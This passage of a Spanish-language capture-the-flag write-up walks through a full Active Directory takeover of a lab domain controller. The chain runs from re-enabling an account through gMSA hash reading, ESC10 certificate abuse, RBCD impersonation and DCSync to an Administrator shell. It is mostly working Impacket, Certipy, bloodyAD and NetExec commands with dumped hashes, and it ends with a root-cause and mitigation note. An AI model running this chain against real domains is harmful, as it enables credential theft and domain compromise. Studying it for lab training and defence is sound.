❯ KRB5CCNAME=nathan.aadam.ccache faketime "$(ntpdate -q dc01.mirage.htb | cut -d ' ' -f 1,2)" bloodyAD --host dc01.mirage.htb -d mirage.htb -k get object javier.mmarshall --attr lockoutTime,userAccountControl,userPrincipalName

distinguishedName: CN=javier.mmarshall,OU=Users,OU=Disabled,DC=mirage,DC=htb
userAccountControl: NORMAL_ACCOUNT; DONT_EXPIRE_PASSWORD
userPrincipalName: javier.mmarshall@mirage.htb

No obstante, seguimos obteniendo un error al tratar de obtener el TGT del usuario javier.mmarshall:

❯ faketime "$(ntpdate -q dc01.mirage.htb | cut -d ' ' -f 1,2)" impacket-getTGT mirage.htb/javier.mmarshall:'GunZF0x123$!' -dc-ip 10.129.221.181

Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)

En nuestra sesión como nathan.aadam podemos subir PowerView.ps1 y revisamos las propiedades del usuario javier.marshall utilizando la función Get-ADUser:

*Evil-WinRM* PS C:\Users\nathan.aadam> upload PowerView.ps1

Info: Uploading /home/gunzf0x/HTB/HTBMachines/Hard/Mirage/content/PowerView.ps1 to C:\Users\nathan.aadam\PowerView.ps1

Data: 1027036 bytes of 1027036 bytes copied

Info: Upload successful!

*Evil-WinRM* PS C:\Users\nathan.aadam> Import-Module .\PowerView.ps1

*Evil-WinRM* PS C:\Users\nathan.aadam> Get-ADUser javier.mmarshall -Properties *


AccountExpirationDate                :
accountExpires                       : 9223372036854775807
AccountLockoutTime                   :
AccountNotDelegated                  : False
AllowReversiblePasswordEncryption    : False
AuthenticationPolicy                 : {}
AuthenticationPolicySilo             : {}
BadLogonCount                        : 1
badPasswordTime                      : 133975685805021939
badPwdCount                          : 1
CannotChangePassword                 : True
CanonicalName                        : mirage.htb/Disabled/Users/javier.mmarshall
Certificates                         : {}
City                                 :
CN                                   : javier.mmarshall
codePage                             : 0
<SNIP>
LockedOut                            : False
logonCount                           : 13
logonHours                           : {0, 0, 0, 0...}
LogonWorkstations                    :
Manager                              :
MemberOf                             : {CN=IT_Contractors,OU=Groups,OU=Contractors,OU=IT_Staff,DC=mirage,DC=htb}
MNSLogonAccount                      : False
<SNIP>

O más específicamente, enfocándonos en el atributo logonHours:

*Evil-WinRM* PS C:\Users\nathan.aadam> Get-ADUser javier.mmarshall -Properties * | Select-Object -expand logonHours

0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0

Tal cual se explica aquí, una cuenta puede estar “revocada” porque éste puede encontrarse deshabilitada (con la flag que hemos removido anteriormente), expirada, lockeada o limitada por “logon hours”. Este caso es el último ya que el parámetro logonHours está definido en 0 (no se nos permite loguear).

Podemos revisar si mark.bbond puede escribir sobre esta propiedad del usuario javier.mmarshall con bloodyAD:

❯ KRB5CCNAME=mark.bbond.ccache faketime "$(ntpdate -q dc01.mirage.htb | cut -d ' ' -f 1,2)" bloodyAD --host dc01.mirage.htb -d mirage.htb -k get writable --otype USER --right WRITE --detail

distinguishedName: CN=javier.mmarshall,OU=Users,OU=Disabled,DC=mirage,DC=htb
logonHours: WRITE
userAccountControl: WRITE
<SNIP>

Como podemos ver, podemos editar los atributos userAccountControl y logonHours; ambos atributos pueden ser editados de manera que manera que esta cuenta ya no se encuentre deshabilitada.

Nota
Hay una tarea reiniciando los atributos del usuario javier.mmarshall cada ~15 minutos a su estado original.

Para lidiar con esto podemos copiar el atributo logonHours de nuestra cuenta mark.bbond (una cuenta que sabemos que está habilitada) y pasar el valor de éste al atributo logonHours del usuario javier.mmarshall. For this we also create a credential object that is used to authenticate as mark.bbond user:

*Evil-WinRM* PS C:\Users\nathan.aadam> $Cred = New-Object System.Management.Automation.PSCredential('MIRAGE\mark.bbond', $(ConvertTo-SecureString '1day@atime' -AsPlainText -Force))

*Evil-WinRM* PS C:\Users\nathan.aadam> $logonHours = (Get-ADUser mark.bbond -Properties LogonHours -Credential $Cred).LogonHours

*Evil-WinRM* PS C:\Users\nathan.aadam> Set-ADUser -Identity javier.mmarshall -Credential $Cred -Replace @{LogonHours = $logonHours}

Y, en un oneliner, solicitamos un TGT para javier.marshall usando los comandos previamente ejecutados:

❯ KRB5CCNAME=mark.bbond.ccache faketime "$(ntpdate -q dc01.mirage.htb | cut -d ' ' -f 1,2)" bloodyAD --host dc01.mirage.htb -d mirage.htb -k set password javier.mmarshall 'GunZF0x123$!' && KRB5CCNAME=mark.bbond.ccache faketime "$(ntpdate -q dc01.mirage.htb | cut -d ' ' -f 1,2)" bloodyAD --host dc01.mirage.htb -d mirage.htb -k remove uac javier.mmarshall -f ACCOUNTDISABLE && faketime "$(ntpdate -q dc01.mirage.htb | cut -d ' ' -f 1,2)" impacket-getTGT mirage.htb/javier.mmarshall:'GunZF0x123$!' -dc-ip 10.129.221.181

[+] Password changed successfully!
[-] ['ACCOUNTDISABLE'] property flags removed from javier.mmarshall's

Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

[*] Saving ticket in javier.mmarshall.ccache

Funcionó. Obtenemos un ticket para el usuario javier.marshall esta vez.

Podemos utilizar este ticket junto con NetExec para abusar del permiso ReadGMSAPassword y leer el hash NTLM de la cuenta de servicio Mirage-Service$:

❯ KRB5CCNAME=javier.mmarshall.ccache faketime "$(ntpdate -q dc01.mirage.htb | cut -d ' ' -f 1,2)" nxc ldap dc01.mirage.htb -k --use-kcache --gmsa

LDAP        dc01.mirage.htb 389    DC01             [*] None (name:DC01) (domain:MIRAGE.HTB) (signing:None) (channel binding:Never) (NTLM:False)
LDAP        dc01.mirage.htb 389    DC01             [+] MIRAGE.HTB\javier.mmarshall from ccache
LDAP        dc01.mirage.htb 389    DC01             [*] Getting GMSA Passwords
LDAP        dc01.mirage.htb 389    DC01             Account: Mirage-Service$      NTLM: 305806d84f7c1be93a07aaf40f0c7866     PrincipalsAllowedToReadPassword: javier.mmarshall

Obtenemos un hash NTLM para esta cuenta de servicio.

Solicitamos un TGT para la cuenta de servicio Mirage-Service$ usando su hash NTLM:

❯ faketime "$(ntpdate -q dc01.mirage.htb | cut -d ' ' -f 1,2)" impacket-getTGT mirage.htb/'Mirage-Service$' -hashes ':305806d84f7c1be93a07aaf40f0c7866' -dc-ip 10.129.221.181

Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

[*] Saving ticket in Mirage-Service$.ccache

Revisamos con NetExec si Active Directory Certificate Services (AD CS) está corriendo en la máquian víctima:

❯ KRB5CCNAME=Mirage-Service\$.ccache faketime "$(ntpdate -q dc01.mirage.htb | cut -d ' ' -f 1,2)" nxc ldap dc01.mirage.htb -k --use-kcache -M adcs

LDAP        dc01.mirage.htb 389    DC01             [*] None (name:DC01) (domain:MIRAGE.HTB) (signing:None) (channel binding:Never) (NTLM:False)
LDAP        dc01.mirage.htb 389    DC01             [+] MIRAGE.HTB\Mirage-Service$ from ccache
ADCS        dc01.mirage.htb 389    DC01             [*] Starting LDAP search with search filter '(objectClass=pKIEnrollmentService)'
ADCS        dc01.mirage.htb 389    DC01             Found PKI Enrollment Server: dc01.mirage.htb
ADCS        dc01.mirage.htb 389    DC01             Found CN: mirage-DC01-CA

Está corriendo.

Podemos utilizar Certipy para ver si tenemos certificados vulnerables:

❯ KRB5CCNAME=Mirage-Service\$.ccache faketime "$(ntpdate -q dc01.mirage.htb | cut -d ' ' -f 1,2)" certipy find -target-ip dc01.mirage.htb -target dc01.mirage.htb -dc-host dc01.mirage.htb -k -no-pass -dc-ip 10.129.221.181 -vulnerable -stdout -enabled
Certipy v5.0.2 - by Oliver Lyak (ly4k)

<SNIP>
[*] Enumeration output:
Certificate Authorities
  0
    CA Name                             : mirage-DC01-CA
    DNS Name                            : dc01.mirage.htb
    Certificate Subject                 : CN=mirage-DC01-CA, DC=mirage, DC=htb
    Certificate Serial Number           : 1512EEC0308E13A146A0B5AD6AA741C9
    Certificate Validity Start          : 2025-07-04 19:58:25+00:00
    Certificate Validity End            : 2125-07-04 20:08:25+00:00
    Web Enrollment
      HTTP
        Enabled                         : False
      HTTPS
        Enabled                         : False
    User Specified SAN                  : Disabled
    Request Disposition                 : Issue
    Enforce Encryption for Requests     : Enabled
    Active Policy                       : CertificateAuthority_MicrosoftDefault.Policy
    Permissions
      Owner                             : MIRAGE.HTB\Administrators
      Access Rights
        ManageCa                        : MIRAGE.HTB\Administrators
                                          MIRAGE.HTB\Domain Admins
                                          MIRAGE.HTB\Enterprise Admins
        ManageCertificates              : MIRAGE.HTB\Administrators
                                          MIRAGE.HTB\Domain Admins
                                          MIRAGE.HTB\Enterprise Admins
        Enroll                          : MIRAGE.HTB\Authenticated Users
Certificate Templates                   : [!] Could not find any certificate templates

No podemos ver certificados vulnerables. No obstante, y como veremos más tarde, esta máquina es vulnerable a ESC10. Una gran explicación y guía de cómo realizar esta escalada se encuentra en la wiki de Certipy.

Una pequeña “pista” acerca de esta escalada es que la cuenta Mirage-Service$ tiene permisos de escritura sobre el atributo userPrincipalName (UPN) para el usuario mark.bbond -entre otras muchas propiedades-:

❯ KRB5CCNAME=Mirage-Service\$.ccache faketime "$(ntpdate -q dc01.mirage.htb | cut -d ' ' -f 1,2)" bloodyAD --host dc01.mirage.htb -d mirage.htb -k get writable --otype USER --right WRITE --detail

distinguishedName: CN=mark.bbond,OU=Users,OU=Support,OU=IT_Staff,DC=mirage,DC=htb
manager: WRITE
mail: WRITE
<SNIP>
altSecurityIdentities: WRITE
servicePrincipalName: WRITE
userPrincipalName: WRITE
legacyExchangeDN: WRITE
<SNIP>

Podemos ver userPrincipalName: WRITE, lo cual es suficiente para intentar la escalada ESC10 dado que podemos modificar el parámetro UPN.

Necesitamos así que el atributo UPN de mark.bbond coincida con el de la máquina de cuenta del DC, es decir, dc01$:

❯ KRB5CCNAME=Mirage-Service\$.ccache faketime "$(ntpdate -q dc01.mirage.htb | cut -d ' ' -f 1,2)" certipy account update -k -no-pass -user 'mark.bbond' -upn 'dc01$'@mirage.htb -target dc01.mirage.htb -dc-host dc01.mirage.htb

Certipy v5.0.2 - by Oliver Lyak (ly4k)

[!] DNS resolution failed: The DNS query name does not exist: dc01.mirage.htb.
[!] Use -debug to print a stacktrace
[*] Updating user 'mark.bbond':
    userPrincipalName                   : dc01$@mirage.htb
[*] Successfully updated 'mark.bbond'

Solicitamos un certificado (.pfx) para el usuario al que le acabamos de modificar el UPN (mark.bbond):

❯ KRB5CCNAME=mark.bbond.ccache faketime "$(ntpdate -q dc01.mirage.htb | cut -d ' ' -f 1,2)" certipy req -u 'mark.bbond'@mirage.htb -k -no-pass -dc-host dc01.mirage.htb -target dc01.mirage.htb -ca mirage-DC01-CA -template User

Certipy v5.0.2 - by Oliver Lyak (ly4k)

[!] DNS resolution failed: The DNS query name does not exist: dc01.mirage.htb.
[!] Use -debug to print a stacktrace
[*] Requesting certificate via RPC
[*] Request ID is 12
[*] Successfully requested certificate
[*] Got certificate with UPN 'dc01$@mirage.htb'
[*] Certificate object SID is 'S-1-5-21-2127163471-3824721834-2568365109-1109'
[*] Saving certificate and private key to 'dc01.pfx'
[*] Wrote certificate and private key to 'dc01.pfx'

Una vez solicitado, restauramos el UPN del usuario mark.bbond a su valor original:

❯ KRB5CCNAME=Mirage-Service\$.ccache faketime "$(ntpdate -q dc01.mirage.htb | cut -d ' ' -f 1,2)" certipy account update -k -no-pass -user 'mark.bbond' -upn mark.bbond@mirage.htb -dc-host dc01.mirage.htb -target dc01.mirage.htb

Certipy v5.0.2 - by Oliver Lyak (ly4k)

[!] DNS resolution failed: The DNS query name does not exist: dc01.mirage.htb.
[!] Use -debug to print a stacktrace
[*] Updating user 'mark.bbond':
    userPrincipalName                   : mark.bbond@lab.local
[*] Successfully updated 'mark.bbond'

Usamos el certificado dc01.pfx para entrar en una shell especial (llamada “ldap shell”) utilizando el certificado extraído:

❯ KRB5CCNAME=Mirage-Service\$.ccache faketime "$(ntpdate -q dc01.mirage.htb | cut -d ' ' -f 1,2)" certipy auth -pfx dc01.pfx -domain mirage.htb -dc-ip 10.129.221.181 -ldap-shell
 
Certipy v5.0.2 - by Oliver Lyak (ly4k)

[*] Certificate identities:
[*]     SAN UPN: 'dc01$@mirage.htb'
[*]     Security Extension SID: 'S-1-5-21-2127163471-3824721834-2568365109-1109'
[*] Connecting to 'ldaps://10.129.221.181:636'
[*] Authenticated to '10.129.221.181' as: 'u:MIRAGE\\DC01$'
Type help for list of commands

#

Y utilizamos esta shell para agregar una máquina al dominio y otogarle permisos que requieran un ataque Resource-based Constrained Delegation (RBCD):

# add_computer gunzf0x gunzfox123$!

Attempting to add a new computer with the name: gunzf0x$
Inferred Domain DN: DC=mirage,DC=htb
Inferred Domain Name: mirage.htb
New Computer DN: CN=gunzf0x,CN=Computers,DC=mirage,DC=htb
LDAPUnwillingToPerformResult - 53 - unwillingToPerform - None - 0000216D: SvcErr: DSID-031A126C, problem 5003 (WILL_NOT_PERFORM), data 0
 - addResponse - None

Pero no somos capaces de realizar esta acción dado que no podemos agregar máquinas al dominio; probablemente porque nuestra machineAccountQuota es 0.

Por tanto, simplemente le damos privilegios para realizar un Resource-based Constrained Delegation (RBCD) a una cuenta de computador/servicio la cual ya hayamos comprometido; la cual es la cuenta Mirage-Service$:

# set_rbcd dc01$ Mirage-Service$

Found Target DN: CN=DC01,OU=Domain Controllers,DC=mirage,DC=htb
Target SID: S-1-5-21-2127163471-3824721834-2568365109-1000

Found Grantee DN: CN=Mirage-Service,CN=Managed Service Accounts,DC=mirage,DC=htb
Grantee SID: S-1-5-21-2127163471-3824721834-2568365109-1112
Currently allowed sids:
    S-1-5-21-2127163471-3824721834-2568365109-1109
Delegation rights modified successfully!
Mirage-Service$ can now impersonate users on dc01$ via S4U2Proxy

Luego, podemos utilizar impacket-getST para performar un ataque RBCD. Si tratamos de impersonar al usuario Administrator el ataque falla:

❯ KRB5CCNAME=Mirage-Service\$.ccache faketime "$(ntpdate -q dc01.mirage.htb | cut -d ' ' -f 1,2)" impacket-getST -spn cifs/DC01.MIRAGE.HTB -impersonate 'Administrator' -dc-ip 10.129.221.181 -k -no-pass mirage.htb/'Mirage-Service$'

Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

[*] Impersonating Administrator
[*] Requesting S4U2self
[*] Requesting S4U2Proxy
[-] Kerberos SessionError: KDC_ERR_BADOPTION(KDC cannot accommodate requested option)
[-] Probably SPN is not allowed to delegate by user Mirage-Service$ or initial TGT not forwardable

No obstante, sí funciona si tratamos de impersonar la cuenta de máquina dc01$ (cuenta de máquina del DC):

❯ KRB5CCNAME=Mirage-Service\$.ccache faketime "$(ntpdate -q dc01.mirage.htb | cut -d ' ' -f 1,2)" impacket-getST -spn cifs/DC01.MIRAGE.HTB -impersonate 'dc01$' -dc-ip 10.129.221.181 -k -no-pass mirage.htb/'Mirage-Service$'

Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

[*] Impersonating dc01$
[*] Requesting S4U2self
[*] Requesting S4U2Proxy
[*] Saving ticket in dc01$@cifs_DC01.MIRAGE.HTB@MIRAGE.HTB.ccache

Dado que este es un ticket para la cuenta dc01$, podemos tratar de realizar un ataque DCSync y obtener un hash del usuario Administrator con impacket-secretsdump:

❯ KRB5CCNAME=dc01\$@cifs_DC01.MIRAGE.HTB@MIRAGE.HTB.ccache faketime "$(ntpdate -q dc01.mirage.htb | cut -d ' ' -f 1,2)" impacket-secretsdump -k -no-pass dc01.mirage.htb -just-dc-user Administrator

Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
mirage.htb\Administrator:500:aad3b435b51404eeaad3b435b51404ee:7be6d4f3c2b9c0e3560f5a29eeb1afb3:::
[*] Kerberos keys grabbed
mirage.htb\Administrator:aes256-cts-hmac-sha1-96:09454bbc6da252ac958d0eaa211293070bce0a567c0e08da5406ad0bce4bdca7
mirage.htb\Administrator:aes128-cts-hmac-sha1-96:47aa953930634377bad3a00da2e36c07
mirage.htb\Administrator:des-cbc-md5:e02a73baa10b8619
[*] Cleaning up...

GG.

Solicitamos un TGT para el usuario Administrator utilizando su hash NTLM:

❯ faketime "$(ntpdate -q dc01.mirage.htb | cut -d ' ' -f 1,2)" impacket-getTGT mirage.htb/administrator -hashes ':7be6d4f3c2b9c0e3560f5a29eeb1afb3' -dc-ip 10.129.221.181

Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

[*] Saving ticket in administrator.ccache

Y accedemos a la máquina víctima como este usuario utilizando una herramienta como wmiexec.py dw Impacket:

❯ KRB5CCNAME=administrator.ccache faketime "$(ntpdate -q dc01.mirage.htb | cut -d ' ' -f 1,2)" impacket-wmiexec -k -no-pass dc01.mirage.htb

Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

[*] SMBv3.0 dialect used
[!] Launching semi-interactive shell - Careful what you execute
[!] Press help for extra shell commands
C:\>whoami

mirage\administrator

Podemos extraer la flag de root en el Desktop del usuario Administrator.

~Happy Hacking.


Más allá de Root Link to heading

La razón por la cual esta máquina es vulnerable a ESC10 es debido a que el registro CertificateMappingMethods tiene valor 0x4, lo cual indica un “mapping” que no es fuerte. Podemos revisar este registro utilizando reg.py de Impacket y un ticket de una cuenta privilegiada:

❯ KRB5CCNAME=administrator.ccache faketime "$(ntpdate -q dc01.mirage.htb | cut -d ' ' -f 1,2)" impacket-reg -k -no-pass dc01.mirage.htb query -keyName 'HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL'

Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

[*] Service RemoteRegistry is in stopped state
[*] Starting service RemoteRegistry
HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL
        EventLogging    REG_DWORD        0x1
        CertificateMappingMethods       REG_DWORD        0x4
HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL\Ciphers
HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL\CipherSuites
HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL\Hashes
HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL\KeyExchangeAlgorithms
HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL\Protocols
[*] Stopping service RemoteRegistry
[-] SCMR SessionError: code: 0x41b - ERROR_DEPENDENT_SERVICES_RUNNING - A stop control has been sent to a service that other running services are dependent on.

Dado que el valor de este registro es 0x4, éste nos permite realizar una escalada ESC10. Por supuesto esto no es posible de saber sin ya ser una cuenta privilegiada, pero en un pentesting de Caja Blanca es recomendable revisar este registro para mitigar este potencial ataque.